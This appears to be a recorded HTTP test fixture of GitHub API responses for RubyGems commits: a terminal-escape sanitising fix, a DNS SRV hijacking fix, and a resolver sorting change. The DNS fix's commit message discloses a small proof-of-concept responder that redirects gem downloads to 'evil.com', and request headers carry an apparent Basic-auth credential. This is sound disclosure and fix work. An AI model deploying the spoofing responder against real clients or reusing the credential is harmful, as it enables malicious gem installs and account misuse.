terminal.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ef0aa611effb5f54d40c7fba6e8235eb43c5a491","html_url":"https://github.com/rubygems/rubygems/commit/ef0aa611effb5f54d40c7fba6e8235eb43c5a491","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/comments","author":{"login":"evanphx","id":7,"avatar_url":"https://avatars0.githubusercontent.com/u/7?v=4","gravatar_id":"","url":"https://api.github.com/users/evanphx","html_url":"https://github.com/evanphx","followers_url":"https://api.github.com/users/evanphx/followers","following_url":"https://api.github.com/users/evanphx/following{/other_user}","gists_url":"https://api.github.com/users/evanphx/gists{/gist_id}","starred_url":"https://api.github.com/users/evanphx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/evanphx/subscriptions","organizations_url":"https://api.github.com/users/evanphx/orgs","repos_url":"https://api.github.com/users/evanphx/repos","events_url":"https://api.github.com/users/evanphx/events{/privacy}","received_events_url":"https://api.github.com/users/evanphx/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"8d91516fb7037ecfb27622f605dc40245e0f8d32","url":"https://api.github.com/repos/rubygems/rubygems/commits/8d91516fb7037ecfb27622f605dc40245e0f8d32","html_url":"https://github.com/rubygems/rubygems/commit/8d91516fb7037ecfb27622f605dc40245e0f8d32"}],"stats":{"total":55,"additions":53,"deletions":2},"files":[{"sha":"4ed957b94b5894e16475c47604d258ed2eafcb18","filename":"lib/rubygems/commands/query_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/lib/rubygems/commands/query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/lib/rubygems/commands/query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/query_command.rb?ref=ef0aa611effb5f54d40c7fba6e8235eb43c5a491","patch":"@@ -226,7 +226,7 @@ def output_versions output, versions\n end\n end\n \n- output << make_entry(matching_tuples, platforms)\n+ output << clean_text(make_entry(matching_tuples, platforms))\n end\n end\n "},{"sha":"edb76340aad582017e9c4956ecdab7c9612e09c2","filename":"lib/rubygems/text.rb","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/lib/rubygems/text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/lib/rubygems/text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/text.rb?ref=ef0aa611effb5f54d40c7fba6e8235eb43c5a491","patch":"@@ -6,13 +6,20 @@\n \n module Gem::Text\n \n+ ##\n+ # Remove any non-printable characters and make the text suitable for\n+ # printing.\n+ def clean_text(text)\n+ text.gsub(/[\\u0000-\\u0008\\u000b-\\u000c\\u000e-\\u001F\\u007f]/, \".\".freeze)\n+ end\n+\n ##\n # Wraps +text+ to +wrap+ characters and optionally indents by +indent+\n # characters\n \n def format_text(text, wrap, indent=0)\n result = []\n- work = text.dup\n+ work = clean_text(text)\n \n while work.length > wrap do\n if work =~ /^(.{0,#{wrap}})[ \\n]/ then"},{"sha":"2a87601cb95784def67e12969dce08bf11d63f46","filename":"test/rubygems/test_gem_commands_query_command.rb","status":"modified","additions":40,"deletions":0,"changes":40,"blob_url":"https://github.com/rubygems/rubygems/blob/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/test/rubygems/test_gem_commands_query_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/test/rubygems/test_gem_commands_query_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_query_command.rb?ref=ef0aa611effb5f54d40c7fba6e8235eb43c5a491","patch":"@@ -116,6 +116,46 @@ def test_execute_details\n This is a lot of text. This is a lot of text. This is a lot of text.\n This is a lot of text.\n \n+pl (1)\n+ Platform: i386-linux\n+ Author: A User\n+ Homepage: http://example.com\n+\n+ this is a summary\n+ EOF\n+\n+ assert_equal expected, @ui.output\n+ assert_equal '''', @ui.error\n+ end\n+\n+ def test_execute_details_cleans_text\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''a'', 2 do |s|\n+ s.summary = ''This is a lot of text. '' * 4\n+ s.authors = [\"Abraham Lincoln \\u0001\", \"\\u0002 Hirohito\"]\n+ s.homepage = \"http://a.example.com/\\u0003\"\n+ end\n+\n+ fetcher.legacy_platform\n+ end\n+\n+ @cmd.handle_options %w[-r -d]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ expected = <<-EOF\n+\n+*** REMOTE GEMS ***\n+\n+a (2)\n+ Authors: Abraham Lincoln ., . Hirohito\n+ Homepage: http://a.example.com/.\n+\n+ This is a lot of text. This is a lot of text. This is a lot of text.\n+ This is a lot of text.\n+\n pl (1)\n Platform: i386-linux\n Author: A User"},{"sha":"4875f37cfd908af59a82122ea3be291a0d7653db","filename":"test/rubygems/test_gem_text.rb","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/test/rubygems/test_gem_text.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ef0aa611effb5f54d40c7fba6e8235eb43c5a491/test/rubygems/test_gem_text.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_text.rb?ref=ef0aa611effb5f54d40c7fba6e8235eb43c5a491","patch":"@@ -36,6 +36,10 @@ def test_format_text_trailing # for two spaces after .\n assert_equal expected, format_text(text, 78)\n end\n \n+ def test_format_removes_nonprintable_characters\n+ assert_equal \"text with weird .. stuff\", format_text(\"text with weird \\u001b\\u0002 stuff\", 40)\n+ end\n+\n def test_min3\n assert_equal 1, min3(1, 1, 1)\n assert_equal 1, min3(1, 1, 2)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8d91516fb7037ecfb27622f605dc40245e0f8d32 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4386' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fe56ecb7051244f6b4a6961e87b217f8" Last-Modified: - Mon, 28 Aug 2017 01:37:15 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046265' X-Github-Request-Id: - A32C:4D96:971CF2:13A46BF:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"8d91516fb7037ecfb27622f605dc40245e0f8d32","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-01T17:41:29Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-08-28T01:37:15Z"},"message":"[RemoteFetcher] Avoid DNS Hijacking Vulnerability\n\nReported by @claudijd\n\n**Description:**\n\nThe RubyGems client supports a gem server API discovery functionality,\nwhich is used when pushing or pulling gems to a gem distribution/hosting\nserver, like RubyGems.org. This functionality is provided via a SRV DNS\nrequest to the users gem source hostname prepended with \"_rubygems._tcp.\".\nThe response to this request tells the RubyGems client (aka: the gem\ncommand) where the users gem server API is. In the default RubyGems\nscenario, with a gem source of https://rubygems.org, the users SRV DNS\nrequest and reply will look like this:\n\n ~ $ dig srv _rubygems._tcp.rubygems.org +short\n 0 1 80 api.rubygems.org.\n\nDue to a deficiency in DNS response verification, a MiTM positioned\nattacker can poison the DNS response to this record response and force\nthe client to unknowingly download and install Ruby gems from an attacker\ncontrolled gem server in an alternate security domain. An example of\nsuch a scenario would look like so:\n\n ~ $ dig _rubygems._tcp.rubygems.org SRV +short\n 0 0 53 evil.com/api.rubygems.com.\n\nIn such a scenario, the attacker is able to serve the client malicious gem\ncontent, resulting in trivial remote code execution scenarios. For\nexample, the attacker could simply modify the gem source code and trigger\ncode execution via the extensions API at install time on the client machine\n(a gem trojaning technique described by Ben Smith in his \"Hacking with\nGems\" presentation at Aloha Ruby Conference in 2012 -\nhttps://www.youtube.com/watch?v=z-5bO0Q1J9s)/\n\nThis vulnerability has the same net effect/impact as [CVE-2015-3900](https://nvd.nist.gov/vuln/detail/CVE-2015-3900) and\n[CVE-2015-4020](https://nvd.nist.gov/vuln/detail/CVE-2015-4020).\n\n**Affected method in Gem::RemoteFetcher:**\n\nhttps://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119\n\n**PoC DNS SRV Responder:**\n\n #!/usr/bin/env ruby\n require ''rubydns''\n require ''rubydns/system''\n INTERFACES = [\n \t[:udp, \"0.0.0.0\", 53],\n \t[:tcp, \"0.0.0.0\", 53]\n ]\n Name = Resolv::DNS::Name\n IN = Resolv::DNS::Resource::IN\n RubyDNS::run_server(:listen => INTERFACES) do\n match(//, IN::SRV) do |transaction|\n transaction.respond!(0,0,53,\"evil.com/api.rubygems.com\")\n end\n end\n\n**Fix:**\n\nBy parsing the returned target as a URI and only matching against the\n`hostname`, we can ensure that only subdomains of the original host\nare redirected to. This way, adding URI-delimiting characters to the\n`target` cannot be used to front-pad the target, creating a\nfalse-positive match.","tree":{"sha":"ae31511af0bee33d240b655ae7ce7893e961e23a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ae31511af0bee33d240b655ae7ce7893e961e23a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8d91516fb7037ecfb27622f605dc40245e0f8d32","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZo3PLAAoJEAEZW7MV3ahWejsP/Aib5rYl8EDL6e6eIx6bzXyT\n8T6LDj+csH9bX6vmXg155DLbKcpzUwrZ5/TDGm5DeKVmmVi9Rb+SrPx+ujldPDJ3\no0GwrcbL3YdIJSVqRcedmckoVK2c3B4u+u/wCe/k7abnlGDVx6jqJhSIibem5CAo\n8RQSpsTVXXzU4mbkgA9W9qsyx0vye9m3NnQCRSPwPilnm8gfCswKWjgCN4GpXZGH\ncHPV8O3PCY2LS5ZrqHxCtKl/sspo8JKXhllKZw/Tc3Hf/zMwlQ+M7J3gTqR+Xbkh\njGAfQOD5odTwMw0HaXSzGxTpZNVmuNiujFK2ftyAfkyXL11q7C8YT5rKWBTBEgry\nChES7JJB3f1157jlx+bi1Uqd0zz9w8mkXGzDQjChucKqm1DSX1e9w62CQsMlzLH+\nRAh/1gyShDn5n4TLh7Xsex4OSxP1ORxKZB2k/Z+brUdv2TXybRl+RT0w+tyn0/LO\nIj6lyfB9bwPdbzehHBEdMw3CjKUCgRDdt98YFGOifA0S4CH9IAyt6gA1DZM8rdWL\nBbDCvydNe68uCuPTHZkJ/WZApITYazHbf7hyUU4BSBcp51Ff+5VMNFUYrhxmemiz\nJk/4ucNwOYJgI82s+8E7TzZMkKBQzGbe7RjyqG365jNciuF9TQNkbPGgBSOvP8ve\na864JQnESaY9Iyf/3Hdc\n=STsG\n-----END PGP SIGNATURE-----","payload":"tree ae31511af0bee33d240b655ae7ce7893e961e23a\nparent 009080040279282d7b8ddd09acab41719cb4ba00\nauthor Samuel Giddins 1493660489 -0500\ncommitter Samuel Giddins 1503884235 -0500\n\n[RemoteFetcher] Avoid DNS Hijacking Vulnerability\n\nReported by @claudijd\n\n**Description:**\n\nThe RubyGems client supports a gem server API discovery functionality,\nwhich is used when pushing or pulling gems to a gem distribution/hosting\nserver, like RubyGems.org. This functionality is provided via a SRV DNS\nrequest to the users gem source hostname prepended with \"_rubygems._tcp.\".\nThe response to this request tells the RubyGems client (aka: the gem\ncommand) where the users gem server API is. In the default RubyGems\nscenario, with a gem source of https://rubygems.org, the users SRV DNS\nrequest and reply will look like this:\n\n ~ $ dig srv _rubygems._tcp.rubygems.org +short\n 0 1 80 api.rubygems.org.\n\nDue to a deficiency in DNS response verification, a MiTM positioned\nattacker can poison the DNS response to this record response and force\nthe client to unknowingly download and install Ruby gems from an attacker\ncontrolled gem server in an alternate security domain. An example of\nsuch a scenario would look like so:\n\n ~ $ dig _rubygems._tcp.rubygems.org SRV +short\n 0 0 53 evil.com/api.rubygems.com.\n\nIn such a scenario, the attacker is able to serve the client malicious gem\ncontent, resulting in trivial remote code execution scenarios. For\nexample, the attacker could simply modify the gem source code and trigger\ncode execution via the extensions API at install time on the client machine\n(a gem trojaning technique described by Ben Smith in his \"Hacking with\nGems\" presentation at Aloha Ruby Conference in 2012 -\nhttps://www.youtube.com/watch?v=z-5bO0Q1J9s)/\n\nThis vulnerability has the same net effect/impact as [CVE-2015-3900](https://nvd.nist.gov/vuln/detail/CVE-2015-3900) and\n[CVE-2015-4020](https://nvd.nist.gov/vuln/detail/CVE-2015-4020).\n\n**Affected method in Gem::RemoteFetcher:**\n\nhttps://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119\n\n**PoC DNS SRV Responder:**\n\n #!/usr/bin/env ruby\n require ''rubydns''\n require ''rubydns/system''\n INTERFACES = [\n \t[:udp, \"0.0.0.0\", 53],\n \t[:tcp, \"0.0.0.0\", 53]\n ]\n Name = Resolv::DNS::Name\n IN = Resolv::DNS::Resource::IN\n RubyDNS::run_server(:listen => INTERFACES) do\n match(//, IN::SRV) do |transaction|\n transaction.respond!(0,0,53,\"evil.com/api.rubygems.com\")\n end\n end\n\n**Fix:**\n\nBy parsing the returned target as a URI and only matching against the\n`hostname`, we can ensure that only subdomains of the original host\nare redirected to. This way, adding URI-delimiting characters to the\n`target` cannot be used to front-pad the target, creating a\nfalse-positive match.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8d91516fb7037ecfb27622f605dc40245e0f8d32","html_url":"https://github.com/rubygems/rubygems/commit/8d91516fb7037ecfb27622f605dc40245e0f8d32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8d91516fb7037ecfb27622f605dc40245e0f8d32/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"009080040279282d7b8ddd09acab41719cb4ba00","url":"https://api.github.com/repos/rubygems/rubygems/commits/009080040279282d7b8ddd09acab41719cb4ba00","html_url":"https://github.com/rubygems/rubygems/commit/009080040279282d7b8ddd09acab41719cb4ba00"}],"stats":{"total":17,"additions":16,"deletions":1},"files":[{"sha":"8f0cf0b4026b7c73e7b663592572ba75c09168ec","filename":"lib/rubygems/remote_fetcher.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/8d91516fb7037ecfb27622f605dc40245e0f8d32/lib/rubygems/remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8d91516fb7037ecfb27622f605dc40245e0f8d32/lib/rubygems/remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/remote_fetcher.rb?ref=8d91516fb7037ecfb27622f605dc40245e0f8d32","patch":"@@ -110,7 +110,7 @@ def api_endpoint(uri)\n else\n target = res.target.to_s.strip\n \n- if /\\.#{Regexp.quote(host)}\\z/ =~ target\n+ if URI(\"http://\" + target).host.end_with?(\".#{host}\")\n return URI.parse \"#{uri.scheme}://#{target}#{uri.path}\"\n end\n "},{"sha":"fbb7d890198e2698cf77628838a2010b088d2a54","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":15,"deletions":0,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/8d91516fb7037ecfb27622f605dc40245e0f8d32/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8d91516fb7037ecfb27622f605dc40245e0f8d32/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=8d91516fb7037ecfb27622f605dc40245e0f8d32","patch":"@@ -241,6 +241,21 @@ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original\n dns.verify\n end\n \n+ def test_api_endpoint_ignores_trans_domain_values_that_end_with_original_in_path\n+ uri = URI.parse \"http://example.com/foo\"\n+ target = MiniTest::Mock.new\n+ target.expect :target, \"evil.com/a.example.com\"\n+\n+ dns = MiniTest::Mock.new\n+ dns.expect :getresource, target, [String, Object]\n+\n+ fetch = Gem::RemoteFetcher.new nil, dns\n+ assert_equal URI.parse(\"http://example.com/foo\"), fetch.api_endpoint(uri)\n+\n+ target.verify\n+ dns.verify\n+ end\n+\n def test_api_endpoint_timeout_warning\n uri = URI.parse \"http://gems.example.com/foo\"\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/90b117e7d650ee68c6ffb73ab1100f0274eaeb19 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4385' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c7b64837e57a84eb18a7a654d19ee10c" Last-Modified: - Mon, 28 Aug 2017 01:27:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.059597' X-Github-Request-Id: - A32E:4D95:F488B0:1C84B75:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"90b117e7d650ee68c6ffb73ab1100f0274eaeb19","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-28T01:27:51Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-28T01:27:51Z"},"message":"Auto merge of #1993 - MSP-Greg:resolver_sort, r=segiddins\n\nGem::Resolver#search_for update for reliable searching/sorting\n\n# Description:\n\nRecently a [commit](https://github.com/ruby/ruby/commit/41e1670a64405133e3d25b73e5cab9456ccb364e) on ruby/ruby addressed stable sort issues. Currently, `Gem::Resolver#search_for` in [ruby](https://github.com/ruby/ruby/blob/a2f5275e0b0a79ad804eae3f6c817f8bf9979661/lib/rubygems/resolver.rb#L225-L235) is different from the same method [here](https://github.com/rubygems/rubygems/blob/0cfc24cbe742736648d3ab599598be656a9a1be1/lib/rubygems/resolver.rb#L225-L256). The test for it [TestGemResolver#test_sorts_by_source_then_version](https://github.com/rubygems/rubygems/blob/0cfc24cbe742736648d3ab599598be656a9a1be1/test/rubygems/test_gem_resolver.rb#L686-L710) is not used at ruby/ruby. Hence, unlike the commit, this issue wouldn''t be visible in ruby/ruby testing.\n\nThe test fails against MinGW 2.4 & trunk. This corrects that, and passes all the other versions in the Appveyor matrix. It''s also a more reliable sort algorithm, assuming that ruby continues to vary the stability of sorting and filtering.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"646373f533d1d53e0d6fefe79615d2b813e215c4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/646373f533d1d53e0d6fefe79615d2b813e215c4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/90b117e7d650ee68c6ffb73ab1100f0274eaeb19","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/90b117e7d650ee68c6ffb73ab1100f0274eaeb19","html_url":"https://github.com/rubygems/rubygems/commit/90b117e7d650ee68c6ffb73ab1100f0274eaeb19","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/90b117e7d650ee68c6ffb73ab1100f0274eaeb19/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"0cfc24cbe742736648d3ab599598be656a9a1be1","url":"https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1","html_url":"https://github.com/rubygems/rubygems/commit/0cfc24cbe742736648d3ab599598be656a9a1be1"},{"sha":"c16a8ac2a222798accca44ac5ab2df3cf8e94e50","url":"https://api.github.com/repos/rubygems/rubygems/commits/c16a8ac2a222798accca44ac5ab2df3cf8e94e50","html_url":"https://github.com/rubygems/rubygems/commit/c16a8ac2a222798accca44ac5ab2df3cf8e94e50"}],"stats":{"total":11,"additions":5,"deletions":6},"files":[{"sha":"13ee035e4c2a7c3e46e0e824606b09abc5c82b53","filename":"lib/rubygems/resolver.rb","status":"modified","additions":5,"deletions":6,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/90b117e7d650ee68c6ffb73ab1100f0274eaeb19/lib/rubygems/resolver.rb","raw_url":"https://github.com/rubygems/rubygems/raw/90b117e7d650ee68c6ffb73ab1100f0274eaeb19/lib/rubygems/resolver.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver.rb?ref=90b117e7d650ee68c6ffb73ab1100f0274eaeb19","patch":"@@ -235,17 +235,16 @@ def search_for(dependency)\n \n groups = Hash.new { |hash, key| hash[key] = [] }\n \n- possibles.each do |spec|\n+ # create groups & sources in the same loop\n+ sources = possibles.map { |spec|\n source = spec.source\n-\n- sources << source unless sources.include? source\n-\n groups[source] << spec\n- end\n+ source\n+ }.uniq.reverse\n \n activation_requests = []\n \n- sources.sort.each do |source|\n+ sources.each do |source|\n groups[source].\n sort_by { |spec| [spec.version, Gem::Platform.local =~ spec.platform ? 1 : 0] }.\n map { |spec| ActivationRequest.new spec, dependency, [] }."}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8616ad52b05c2019d2031798377fc786718d374a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4384' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0e753b7407e087fd5aab889977e201ba" Last-Modified: - Sun, 27 Aug 2017 23:43:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040473' X-Github-Request-Id: - A330:4D95:F488C2:1C84B94:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"8616ad52b05c2019d2031798377fc786718d374a","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-08-27T23:43:04Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-08-27T23:43:04Z"},"message":"Appveyor add 2.3, 2.4 & 